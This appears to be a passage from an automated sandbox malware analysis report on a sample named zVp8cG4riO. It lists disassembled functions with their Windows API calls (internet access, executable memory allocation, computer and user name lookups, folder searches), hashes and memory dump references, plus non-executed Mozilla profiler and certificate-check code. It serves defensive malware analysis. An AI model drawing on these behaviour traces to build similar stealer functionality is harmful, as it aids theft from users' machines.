Uniqueness

Uniqueness Score: -1.00%

Function 0040AA20 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040AC1E
lstrlen.KERNEL32(00000000), ref: 0040AC32

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02F84A10), ref: 00404ED9

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: ef8672be08a48871220fb44621e44c7fd8633fbdc082ff7677e11ce3ed423390
Instruction ID: 57c8c1270dba92ae3db9aa8e51dd660502e79bf125d10b7c0566732e7217b02b
Opcode Fuzzy Hash: ef8672be08a48871220fb44621e44c7fd8633fbdc082ff7677e11ce3ed423390
Instruction Fuzzy Hash: C07153759102049BCF14FBA1DC52DEE7739BF54308F41422EF506A7191EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004114C0 Relevance: 2.6, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00411550

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction ID: 8f9af232e05b2939ec69b712380268a2006cbed21c6953bc19412128f28bf8b7
Opcode Fuzzy Hash: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction Fuzzy Hash: 0641F770A00A289FDB24DB58CC95BDBB7B5BB48702F4091C9A618A72E0D7716EC6CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406050 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(004067AE,004067AE,00003000,00000040), ref: 004060F6
VirtualAlloc.KERNEL32(00000000,004067AE,00003000,00000040), ref: 00406143

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction ID: 5341a9e810d76a35e886a0404415562c2a616bd51e9685e0b668c9c894d7d0dc
Opcode Fuzzy Hash: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction Fuzzy Hash: 8341DE34A00209EFCB54CF58C494BADBBB1FF44314F1482A9E95AAB395C735AA91CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00412A80 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412ABA
lstrcat.KERNEL32(?,02F8B838), ref: 00412AD8

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNELBASE(?,?), ref: 004125A0

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 1d26accb574f515a2d7fe8c0f6acd20ad4040f4671a96e47e9b6da3715607b39
Instruction ID: bcc253f25bf78e1a0e90404f031f6467c50b05fa57c941630bc3dd144581bb5c
Opcode Fuzzy Hash: 1d26accb574f515a2d7fe8c0f6acd20ad4040f4671a96e47e9b6da3715607b39
Instruction Fuzzy Hash: 8701B97A900608B7CB24FBB0DC47EDA773D9B54705F404189B64956091EE78AAC4CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00401060 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040110E,?,?,004136DC), ref: 00401073
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040110E,?,?,004136DC), ref: 004010B7

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction ID: a2913bed729a6fe358320823385779fc3d8f71f1cc7b0a13f7ab4b92dd49de4a
Opcode Fuzzy Hash: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction Fuzzy Hash: 42F027B1641208BBE724DAF4AC59FAFF79CA745B05F304559F980E3390DA719F00CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415490 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d7bf405bd421a40d19a8bf3ca1e3b15e31b56f02cda8d4317b7777f73d14c9f2
Instruction ID: 7a99a0210fb0b6ed6de77f6d22eec219e0a4aedfc9bcf57955c7481c69c901e8
Opcode Fuzzy Hash: d7bf405bd421a40d19a8bf3ca1e3b15e31b56f02cda8d4317b7777f73d14c9f2
Instruction Fuzzy Hash: 9BF01C70C00608EBCB10EF94C9457DDBB74AF44315F10829AD82957380DB395A85CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004154E0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: c4deb19243b673a040dfd5fdc436edaecc4a41164842cb033ff61c0adf53a60f
Instruction ID: a2db4f6e5da6e8fb8430e81bb17b8e7aa1674d593408b434fe95881a23a64460
Opcode Fuzzy Hash: c4deb19243b673a040dfd5fdc436edaecc4a41164842cb033ff61c0adf53a60f
Instruction Fuzzy Hash: A8E01231A4034CABDB61DB90DC96FDD776C9B44B05F004295BA0C5A1C0DA70AB858BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00401150 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,02F84890,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

ExitProcess.KERNEL32 ref: 00401186

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction ID: 69e00d56220517d966a61d162f3bbf9e0969f4784ba4f73569e39f9695f87914
Opcode Fuzzy Hash: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction Fuzzy Hash: 78E012B5E1070462CA1573B27E06BD7729D5F9930EF40142AFE0497253FD2DE45145BD

Uniqueness

Uniqueness Score: -1.00%

Function 00415530 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: d5c28e0c1c7e45756f81669eafe0f10d1f2d27191eaad386d3d0ade1da73dce0
Instruction ID: 5f6283e4cb308baa7d4615cf810ff09d37e65c2d0c188b0d2e4390bfcb6d80e5
Opcode Fuzzy Hash: d5c28e0c1c7e45756f81669eafe0f10d1f2d27191eaad386d3d0ade1da73dce0
Instruction Fuzzy Hash: 4701E834904508FFCF04CF98C585BEC7BB2AF44308F648089D9056B395D3789A84DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00414FF0 Relevance: 1.3, APIs: 1, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 00414FF8

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction ID: 71a24ea012b18c325b39d17d5ea825459b0100de2daa219f1012b17ed67d7128
Opcode Fuzzy Hash: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction Fuzzy Hash: 1CC012B090410CEB8B00CF98EC0588A7BECDB08200B0041A4FC0DC3300D631AE1087D5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6CCF5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CCF5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CCF54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CCF54BE
__Init_thread_footer.LIBCMT ref: 6CCF54DB

Part of subcall function 6CD1AB3F: EnterCriticalSection.KERNEL32(6CD6E370,?,?,6CCE3527,6CD6F6CC,?,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB49
Part of subcall function 6CD1AB3F: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE3527,6CD6F6CC,?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1AB7C

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

GetCurrentThreadId.KERNEL32 ref: 6CCF54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CCF5516
GetCurrentThreadId.KERNEL32 ref: 6CCF556A
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CCF5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CCF5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CCF5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CCF55E6
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CCF5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCF5616

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

GetCurrentThreadId.KERNEL32 ref: 6CCF563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCF5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CCF567C
free.MOZGLUE(?), ref: 6CCF56AE

Part of subcall function 6CD05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
Part of subcall function 6CD05E90: memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
Part of subcall function 6CD05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CCF56E8
GetCurrentThreadId.KERNEL32 ref: 6CCF5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CCF570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CCF5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CCF574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CCF576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CCF5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CCF57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CCF57CA

Strings

- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CCF5D1C
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CCF5BBE
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CCF57AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CCF548D
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CCF57C5
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CCF56E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CCF5AC9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CCF5CF9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CCF5D01
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CCF5749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CCF584E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CCF5D2B
MOZ_BASE_PROFILER_HELP, xrefs: 6CCF5511
[I %d/%d] profiler_init, xrefs: 6CCF564E
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CCF54A3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CCF5C56
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CCF5D24
GeckoMain, xrefs: 6CCF5554, 6CCF55D5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CCF54B9
MOZ_PROFILER_STARTUP, xrefs: 6CCF55E1
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CCF5766
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CCF5724
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CCF5717
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CCF5791
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CCF5B38

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 934db6c39ad9bb2a1cbb9d52dc7d7dc7486c7715d07f25f7e4d9b27579048a61
Instruction ID: a659620fdac68d7457f4a31c9c1a2fdbc5956201bdb2255e2b08df1971e280b1
Opcode Fuzzy Hash: 934db6c39ad9bb2a1cbb9d52dc7d7dc7486c7715d07f25f7e4d9b27579048a61
Instruction Fuzzy Hash: 66220570A047409BFB009F66845876A77B8AF8634CF04852AFB6687F91F735D44ACA72

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CCF6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CCF6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CCF6D26

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CCF6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CCF6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CCF6D73
free.MOZGLUE(00000000), ref: 6CCF6D80
CertGetNameStringW.CRYPT32 ref: 6CCF6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CCF6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CCF6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CCF6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CCF6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CCF6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CCF6E34
CreateFileW.KERNEL32 ref: 6CCF6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CCF6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CCF6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CCF709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CCF7103
free.MOZGLUE(00000000), ref: 6CCF7153
CloseHandle.KERNEL32(?), ref: 6CCF7176
__Init_thread_footer.LIBCMT ref: 6CCF7209
__Init_thread_footer.LIBCMT ref: 6CCF723A
__Init_thread_footer.LIBCMT ref: 6CCF726B
__Init_thread_footer.LIBCMT ref: 6CCF729C
__Init_thread_footer.LIBCMT ref: 6CCF72DC
__Init_thread_footer.LIBCMT ref: 6CCF730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CCF73C2
VerSetConditionMask.NTDLL ref: 6CCF73F3
VerSetConditionMask.NTDLL ref: 6CCF73FF
VerSetConditionMask.NTDLL ref: 6CCF7406
VerSetConditionMask.NTDLL ref: 6CCF740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CCF741A
moz_xmalloc.MOZGLUE(?), ref: 6CCF755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCF7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CCF7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CCF7598
free.MOZGLUE(00000000), ref: 6CCF75AC

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

Strings

(, xrefs: 6CCF768A
SHA256, xrefs: 6CCF6EC0
